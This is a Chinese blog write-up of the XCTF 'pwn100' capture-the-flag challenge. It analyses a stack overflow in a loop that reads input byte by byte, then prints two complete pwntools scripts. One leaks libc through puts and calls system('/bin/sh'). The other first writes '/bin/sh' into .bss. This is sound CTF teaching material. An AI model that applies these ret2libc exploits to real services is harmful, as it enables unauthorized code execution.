

# XCTF-pwn-pwn100 writeup

原创

[Morphy\\_Amo](#) 于 2021-12-13 21:40:37 发布 1243 收藏

分类专栏: [pwn题](#) 文章标签: [安全](#) [web安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/Morphy\\_Amo/article/details/121915194](https://blog.csdn.net/Morphy_Amo/article/details/121915194)

版权



[pwn题](#) 专栏收录该内容

19 篇文章 0 订阅

订阅专栏

## XCTF-pwn-pwn100

1. 查看安全策略, 开了NX保护

```
root@kali:~/ctf/xctf/pwn# checksec 003_pwn_100
[*] '/root/ctf/xctf/pwn/003_pwn_100'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

查看可用的字符串和函数

```
[0x00400550]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00000784 0x00400784   4   5 (.rodata) ascii bye~

[0x00400550]> afl
0x00400550   1 42          entry0
0x00400530   1 6          sym.imp.__libc_start_main
0x00400500   1 6          sym.imp.puts
0x00400510   1 6          sym.imp.setbuf
0x00400520   1 6          sym.imp.read
0x004006b8   1 72         main
0x0040068e   1 42         fcn.0040068e
0x0040063d   4 81         fcn.0040063d
0x00400610   8 141  -> 99  entry.init0
0x004005f0   3 28         entry.fini0
0x00400580   4 41         fcn.00400580
0x00400540   1 6          loc.imp.__gmon_start
0x004004c8   3 26         fcn.004004c8
```

没有可以利用的字符串, 也没有可以直接利用的system函数

1. `puts`: 可以用来泄露libc基址
2. `system`: 分配的内存太小, 手工输入太阳的符号造成溢出

4. `read`: 分配的内存大小小于读入上限的话会造成溢出

寻找溢出点

在函数 `fcn.0040063d` 中有个危险函数 `read`，但是可以看到这里一次只读一个字符，不存在溢出。

```
| :| 0x0040066e    ba01000000    mov edx, 1  
| :| 0x00400673    4889c6        mov rsi, rax  
| :| 0x00400676    bf00000000    mov edi, 0  
| :| 0x0040067b    e8a0feffff    call sym.imp.read
```

但是继续分析发现`read`是在一个循环中，如下所示：

```
| ,=< 0x0040065f    eb23          jmp 0x400684  
| | ; CODE XREF from fcn.0040063d @ 0x40068a  
| .-> 0x00400661    8b45fc        mov eax, dword [var_4h]  
| :| 0x00400664    4863d0        movsxd rdx, eax  
| :| 0x00400667    488b45e8      mov rax, qword [var_18h]  
| :| 0x0040066b    4801d0        add rax, rdx  
| :| 0x0040066e    ba01000000    mov edx, 1  
| :| 0x00400673    4889c6        mov rsi, rax  
| :| 0x00400676    bf00000000    mov edi, 0  
| :| 0x0040067b    e8a0feffff    call sym.imp.read  
| :| 0x00400680    8345fc01      add dword [var_4h], 1  
| :| ; CODE XREF from fcn.0040063d @ 0x40065f  
| :~> 0x00400684    8b45fc        mov eax, dword [var_4h]  
| : 0x00400687    3b45e4        cmp eax, dword [var_1ch]  
| ~=< 0x0040068a    7cd5          j1 0x400661
```

而 `Var_1ch` 的值是函数的参数，传入的是200，也就是一次读入一个字符，然后循环200次后才会跳出。而存储的内存空间也是从上一层传入的参数，共0x40大小，因此这里存在溢出。

## Payload

根据前面的分析这里没有能直接利用的`system`函数和 `/bin/sh` 字符串。因此尝试利用`puts`泄露`libc`的方式获取`system`和 `/bin/sh` 字符。

本题有`puts`，因此利用`puts`来泄露地址。`puts`需要传入一个参数，因此我们需要`gadget`来给 `rdi` 赋值，这里利用`radare2`的 `/R` 命令搜索`gadget`

```
[0x0040063d]> /R pop rdi  
0x00400763    5f  pop rdi  
0x00400764    c3  ret
```

于是构造泄露`libc`基址的payload如下

```
payload_1 = b'a' * (0x40 + 0x8)  
payload_1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)  
payload_1 += p64(main) # 获取基址后返回main再次  
payload_1 = payload_1.ljust(200, b'a') # 补全到200个字符跳出循环
```

获取`libc`地址后利用`LibcSearcher`获取`system`和`/bin/sh`，并再次利用溢出点获取`shell`

```
from LibcSearcher import *  
...  
libc = LibcSearcher('puts', puts_addr)  
  
system = libc + libc.dump('system')  
binsh = libc + libc.dump('str_bin_sh')  
  
payload_2 = b'a' * (0x40 + 0x8)
```

```

payload_2 = b'a' * (0x40 + 0x8)
payload_2 += p64(pop_rdi) + p64(binsh) + p64(system)
payload_2 = payload_2.ljust(200, b'a')

```

## 解法2 - 将/bin/sh写入bss段

### 问题 - 为什么是**bss**段而不是其他段？

首先 **.bss** 段是可读写的，这是选择**bss**段的基础。其次**bss**段中的实际上是没有内容的，修改其中的内容，并不会导致程序崩溃。

利用radare或gdb查看bss地址

```

[0x0040063d]> iS
[Sections]
Nm Paddr      Size Vaddr      Memsz Perms Name
00 0x00000000  0 0x00000000  0 ----
...
25 0x00001050  0 0x00601050  24 -rw- .bss
...

```

要把 **/bin/sh** 写入到**bss**中需要用到程序中自带的函数 **fcn.0040063d**，**fcn.0040063d()** 有三个参数，第一个参数是读取内容的存储地址，第二个参数是读取的长度。

这里没有 **pop esi; ret** 这样的gadget，但是有 **pop esi; pop r15; ret** 这个gadget，用这个也一样，只不过要给 **r15** 随便赋一个值。

```

payload_2 = b'a' * (0x40 + 0x8)
payload_2 += p64(pop_rdi) + p64(bss_binsh)
payload_2 += p64(pop_rsi_r15) + p64(7) + p64(0)
payload_2 += p64(0x0040063d) + p64(main)
payload_2 = payload_2.ljust(200, b'a')

```

后面获取shell的payload和解法1类似，这里不再赘述

exp

### 解法1

```

from pwn import *
from LibcSearcher import *

conn = remote('', )

elf = ELF('./pwn100')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x00400763
main = 0x004006b8

payload_1 = b'a' * (0x40 + 0x8)
payload_1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload_1 += p64(main) # 获取基址后返回main
payload_1 = payload_1.ljust(200, b'a')

conn.send(payload_1)
conn.recvuntil(b'bye~\n')
puts_addr = u64(conn.recv(8).split(b'\n')[0].ljust(8, b'\x00'))

```

```

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

payload_2 = b'a' * (0x40 + 0x8)
payload_2 += p64(pop_rdi) + p64(binsh) + p64(system)
payload_2 = payload_2.ljust(200, b'a')

conn.sendline(payload_2)
conn.interactive()

```

## 解法2

```

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

conn = remote('', )

elf = ELF('./pwn100')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x00400763
pop_rsi_r15 = 0x00400761
main = 0x004006b8
# 获取libc
payload_1 = b'a' * (0x40 + 0x8)
payload_1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload_1 += p64(main) # 获取基址后返回main
payload_1 = payload_1.ljust(200, b'a')

conn.send(payload_1)
conn.recvuntil(b'bye~\n')
puts_addr = u64(conn.recv(8).split(b'\n')[0].ljust(8, b'\x00'))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')

# 写入/bin/sh到bss段
bss_binsh = 0x00601060
payload_2 = b'a' * (0x40 + 0x8)
payload_2 += p64(pop_rdi) + p64(bss_binsh)
payload_2 += p64(pop_rsi_r15) + p64(7) + p64(0)
payload_2 += p64(0x0040063d) + p64(main)
payload_2 = payload_2.ljust(200, b'a')
conn.send(payload_2)
conn.send(b'/bin/sh')
conn.recvuntil(b'bye~\n')

# 获取shell
payload_3 = b'a' * (0x40 + 0x8)
payload_3 += p64(pop_rdi) + p64(bss_binsh) + p64(system)
payload_3 = payload_3.ljust(200, b'a')

conn.send(payload_3)
conn.interactive()

```

问题 - 为什么 **bss** 段中有些地址可以写入，有些地址不可以呢？

比如 `0x00601060` 可以成功获取 `shell`，但是 `0x00601050` 就不可以